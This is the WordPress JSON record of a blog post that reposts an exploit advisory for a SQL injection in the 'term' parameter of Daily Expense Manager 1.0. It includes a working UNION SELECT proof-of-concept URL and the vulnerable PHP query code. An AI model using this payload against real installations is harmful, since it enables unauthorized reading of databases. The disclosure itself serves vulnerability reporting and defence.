{"id":56155,"date":"2024-04-08T20:59:48","date_gmt":"2024-04-08T16:59:48","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177986\/dem10-sql.txt"},"modified":"2024-04-08T20:59:48","modified_gmt":"2024-04-08T16:59:48","slug":"daily-expense-manager-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/daily-expense-manager-1-0-sql-injection\/","title":{"rendered":"Daily Expense Manager 1.0 SQL Injection"},"content":{"rendered":"<p># Exploit Title: Daily Expense Manager 1.0 &#8211; &#8216;term&#8217; SQLi<br \/># Date: February 25th, 2024<br \/># Exploit Author: Stefan Hesselman<br \/># Vendor Homepage: https:\/\/code-projects.org\/daily-expense-manager-in-php-with-source-code\/<br \/># Software Link: https:\/\/download-media.code-projects.org\/2020\/01\/DAILY_EXPENSE_MANAGER_IN_PHP_WITH_SOURCE_CODE.zip<br \/># Version: 1.0<br \/># Tested on: Kali Linux<br \/># CVE: N\/A<br \/># CWE: CWE-89, CWE-74<\/p>\n<p>## Description<br \/>Daily Expense Manager is vulnerable to SQL injection attacks. The affected HTTP parameter is the &#8216;term&#8217; parameter. Any remote, unauthenticated attacker <br \/>can exploit the vulnerability by injecting additional, malicious SQL queries to be run on the database.<\/p>\n<p>## Vulnerable endpoint:<br \/>http:\/\/example.com\/Daily-Expense-Manager\/readxp.php?term=asd<\/p>\n<p>## Vulnerable HTTP parameter:<br \/>term (GET)<\/p>\n<p>## Exploit proof-of-concept:<br \/>http:\/\/example.com\/Daily-Expense-Manager\/readxp.php?term=asd%27%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6&#8211;%20-<\/p>\n<p>## Vulnerable PHP code:<br \/>File: \/Daily-Expense-Manager\/readxp.php, Lines: 16-23<br \/>&lt;?php<br \/>[&#8230;]\/\/get search term<br \/>$searchTerm = $_GET[&#8216;term&#8217;]; # unsanitized and under control of the attacker.<br \/>\/\/get matched data from skills table<br \/>$query = $conn-&gt;query(&#8220;SELECT * FROM expense WHERE pname like &#8216;%$searchTerm%&#8217; AND uid=&#8217;$sid&#8217; and isdel=&#8217;0&#8242; group by pname&#8221;);<br \/>while ($row = $query-&gt;fetch_assoc()) {<br \/>$data[] = $row[&#8216;pname&#8217;];<br \/>}<br \/>\/\/return json data<br \/>echo json_encode($data);<br \/>?&gt;<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Daily Expense Manager 1.0 &#8211; &#8216;term&#8217; SQLi# Date: February 25th, 2024# Exploit Author: Stefan Hesselman# Vendor Homepage: https:\/\/code-projects.org\/daily-expense-manager-in-php-with-source-code\/# Software Link: https:\/\/download-media.code-projects.org\/2020\/01\/DAILY_EXPENSE_MANAGER_IN_PHP_WITH_SOURCE_CODE.zip# Version: 1.0# Tested on: Kali Linux# CVE: N\/A# CWE: CWE-89, CWE-74 ## DescriptionDaily Expense Manager is vulnerable to SQL injection attacks. The affected HTTP parameter is the &#8216;term&#8217; parameter. Any remote, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56155","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56155","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56155"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56155\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56155"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}